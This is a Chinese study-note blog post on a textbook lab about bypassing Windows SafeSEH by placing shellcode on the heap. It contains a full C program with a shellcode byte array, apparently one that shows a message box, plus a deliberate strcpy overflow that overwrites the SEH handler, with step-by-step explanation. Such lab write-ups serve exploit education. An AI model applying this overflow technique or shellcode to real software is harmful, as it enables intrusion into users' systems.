《0 Day安全软件漏洞分析 2版》--11.4 从堆中绕过SafeSEH

这个利用堆中的内存执行shellcode的示例,一次就成功的弹窗了,在本书的10.4章节中攻击异常处理突破 GS,这个实验我劝大家就不用去尝试了,因为这个我弄了很久,大概快一天了吧,书中的shellcode是一个问题,不能在我的Win 7上执行,其次是当我关闭了DEP、SafeSEH、禁止优化等选项后,它依旧不能执行,最后我放弃了,但是也要归纳一下失败的原因,我看了下,使用OD切换到内存空间发现,它的访问依旧是带保护的,就是我即使手动修改为可读可写可执行,它始终不能执行栈上的代码,如下图所示:

《0 Day安全软件漏洞分析 2版》--11.4 从堆中绕过SafeSEH_第1张图片

我的栈代码就是在0018B000,大家从图中也看到了,带有保护属性,所以这个实验我尝试了很久一直未成功,从心里说,不太建议大家去研究这个实验了,虽然现在很多人也不爱看书了。。。

说一下从堆中绕过SafeSEH吧,这个和攻击异常处理突破GS差不多,只不过这次执行的shellcode放在了堆中来执行,那个是放在栈中执行。

环境:Win 7 X64,VS2015,关闭DEP,禁用优化,release版本

代码:

#include"stdafx.h"
#include
#include
char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x61\x67\x65\x58\x68\x4d\x65"
"\x73\x73\x31\xdb\x88\x5c\x24\x07\x89\xe3\x68\x65\x58\x20\x20"
"\x68\x41\x54\x72\x65\x31\xc9\x88\x4c\x24\x05\x89\xe1\x31\xd2"
"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\x29\x39\x00"//堆中shellcode的地址,就是你申请完堆空间后的eax返回的地址
;
void test(char * input)
{
	char str[200];
	strcpy(str, input);
	int zero = 0;
	zero = 1 / zero;//用来触发异常,从而执行已覆盖的SEH处理函数(堆中shellcode地址)
}
void main()
{
	char * buf = (char *)malloc(500);
	strcpy(buf, shellcode);
	test(shellcode);
}

说明:

(1)首先在堆中申请 500 字节的空间,用来存放 shellcode。
(2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖程序的 SEH 信息。
(3)用 shellcode 在堆中的起始地址覆盖异常处理函数地址,然后通过制造除 0 异常,将程序转入异常处理,进而跳转到堆中的 shellcode 执行。

shellcode最后的地址需要自己在动态调试时,动态修改,因为你申请500个字节的堆空间,它每次返回的地址不是固定的,就需要你在动态调试时,将覆盖的SEH处理函数地址手动修改为shellcode起始地址。

程序利用后执行截图:

《0 Day安全软件漏洞分析 2版》--11.4 从堆中绕过SafeSEH_第2张图片

你可能感兴趣的:(漏洞学习)